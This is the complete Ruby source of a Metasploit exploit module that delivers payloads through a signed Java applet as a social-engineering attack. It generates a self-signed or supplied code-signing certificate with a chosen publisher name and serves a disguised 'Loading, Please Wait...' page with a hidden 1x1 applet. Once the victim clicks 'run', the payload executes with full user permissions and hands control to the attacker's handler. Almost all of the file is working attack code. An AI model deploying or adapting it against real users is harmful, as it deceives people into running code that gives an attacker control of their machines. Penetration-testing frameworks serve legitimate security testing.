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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Signed Applet Social Engineering Code Execution',
'Description' => %q{
This exploit dynamically creates a .jar file via the
Msf::Exploit::Java mixin, then signs the it. The resulting
signed applet is presented to the victim via a web page with
an applet tag. The victim's JVM will pop a dialog asking if
they trust the signed applet.
On older versions the dialog will display the value of CERTCN
in the "Publisher" line. Newer JVMs display "UNKNOWN" when the
signature is not trusted (i.e., it's not signed by a trusted
CA). The SigningCert option allows you to provide a trusted
code signing cert, the values in which will override CERTCN.
If SigningCert is not given, a randomly generated self-signed
cert will be used.
Either way, once the user clicks "run", the applet executes
with full user permissions.
},
'License' => MSF_LICENSE,
'Author' => [ 'natron' ],
'References' =>
[
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
],
'Platform' => %w{ java linux osx solaris win },
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Feb 19 1997'
))
register_options( [
OptString.new('CERTCN', [ true,
"The CN= value for the certificate. Cannot contain ',' or '/'",
"SiteLoader"
]),
OptString.new('APPLETNAME', [ true,
"The main applet's class name.",
"SiteLoader"
]),
OptPath.new('SigningCert', [ false,
"Path to a signing certificate in PEM or PKCS12 (.pfx) format"
]),
OptPath.new('SigningKey', [ false,
"Path to a signing key in PEM format"
]),
OptString.new('SigningKeyPass', [ false,
"Password for signing key (required if SigningCert is a .pfx)"
]),
], self.class)
end
def setup
load_cert
load_applet_class
super
end
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end
print_status( "Handling request" )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
p = regenerate_payload(cli)
if not p
print_error("Failed to generate the payload.")
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found(cli)
return
end
# If we haven't returned yet, then this is a request for our applet
# jar, build one for this victim.
jar = p.encoded_jar(:random => true)
jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)
jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}")
jar.sign(@key, @cert, @ca_certs)
#File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def load_applet_class
data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)
if datastore["APPLETNAME"]
unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
end
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
# Java strings are prefixed with a 2-byte, big endian length
find_me = ["SiteLoader".length].pack("n") + "SiteLoader"
idx = siteloader.index(find_me)
len = [datastore["APPLETNAME"].length].pack("n")
# Now replace it with the new class name
siteloader[idx, "SiteLoader".length+2] = len + datastore["APPLETNAME"]
else
# Don't need to replace anything, just read it in
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
end
@applet_class = siteloader
end
def load_cert
if datastore["SigningCert"]
cert_str = File.open(datastore["SigningCert"], "rb") {|fd| fd.read(fd.stat.size) }
begin
pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
@cert = pfx.certificate
@key = pfx.key
@ca_certs = pfx.ca_certs
rescue OpenSSL::PKCS12::PKCS12Error
# it wasn't pkcs12, try it as concatenated PEMs
certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
@cert = OpenSSL::X509::Certificate.new(certs.shift)
@ca_certs = nil
while certs.length > 0
@ca_certs ||= []
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
end
if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
key_str = File.open(datastore["SigningKey"], "rb") {|fd| fd.read(fd.stat.size) }
else
key_str = cert_str
end
# First try it as RSA and fallback to DSA if that doesn't work
begin
@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
rescue OpenSSL::PKey::RSAError => e
@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
end
end
else
# Name.parse uses a simple regex that isn't smart enough to allow
# slashes or commas in values, just remove them.
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
)
@key = OpenSSL::PKey::DSA.new(1024)
@cert = OpenSSL::X509::Certificate.new
@cert.version = 2
@cert.serial = 1
@cert.subject = x509_name
@cert.issuer = x509_name
@cert.public_key = @key.public_key
@cert.not_before = Time.now
@cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
end
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|
vprint_line(html)
if @use_static
html << %Q| code="SiteLoader" width="1" height="1">\n|
else
html << %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
end
html << %Q|</applet>\n</body></html>|
return html
end
# Currently unused until we ship a java compiler of some sort
def applet_code
applet = <<-EOS
import java.applet.*;
import metasploit.*;
public class #{datastore["APPLETNAME"]} extends Applet {
public void init() {
try {
Payload.main(null);
} catch (Exception ex) {
//ex.printStackTrace();
}
}
}
EOS
end
end
=begin
The following stores a bunch of intermediate files on the path to creating the signature. The
ImportKey class used for testing was obtained from:
http://www.agentbob.info/agentbob/79-AB.html
system("rm -rf signed_jar/*")
File.open("signed_jar/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }
File.open("signed_jar/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }
File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }
File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")
system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")
system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")
system("mv ~/keystore.ImportKey ~/.keystore")
system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")
jar.sign(@key, @cert)
File.open("signed_jar/signed.jar", "wb") { |f| f.write jar.to_s }
=end